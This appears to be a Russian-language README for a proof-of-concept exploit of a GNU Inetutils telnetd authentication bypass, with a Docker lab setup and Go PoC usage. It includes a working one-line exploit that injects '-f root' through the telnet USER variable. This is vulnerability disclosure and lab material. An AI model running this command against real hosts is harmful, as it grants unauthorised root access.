
PoC-эксплойт для обхода аутентификации в telnetd из GNU Inetutils (CVE-2026-24061) с настройкой Docker-лаборатории и PoC на Go. Использует опцию NEW-ENVIRON для получения root-оболочки.
Серьёзно, telnet в 2026-м? Ну ребят, пора двигаться дальше. SSH существует с 1995 года. 🤦
Критическая уязвимость обхода аутентификации в GNU Inetutils telnetd, затрагивающая версии с 1.9.3 по 2.7.
Уязвимость использует опцию NEW-ENVIRON протокола telnet для внедрения вредоносных аргументов в login(1). Устанавливая USER=-f root через протокол telnet, злоумышленник может обойти аутентификацию и получить root-оболочку без учётных данных.
Протокол telnet поддерживает опцию NEW-ENVIRON (RFC 1572), которая позволяет клиенту отправлять переменные окружения серверу. Демон telnetd передаёт переменную USER в login(1) в качестве аргумента.
При отправке USER=-f root значение интерпретируется как:
-f: пропуск аутентификации (доверенный хост)root: целевой пользовательЭто приводит к выполнению login -f root, что даёт немедленный root-доступ.
PoC определяет успешную эксплуатацию по наличию IAC WILL ECHO (0xff 0xfb 0x01) - сигнала протокола, который сервер отправляет при предоставлении доступа к оболочке.
# Build and run the vulnerable telnetd container
docker compose up --build -d
# Test the exploit
go run poc.go 127.0.0.1 2323
# Using the Go PoC (with interactive shell)
go run poc.go <target> <port>
# Simple PoC using standard telnet client
env USER='-f root' telnet -a <target> <port>
poc.go — эксплойт на Go с интерактивной оболочкойDockerfile — контейнер с уязвимым telnetddocker-compose.yml — оркестрация лабораторной среды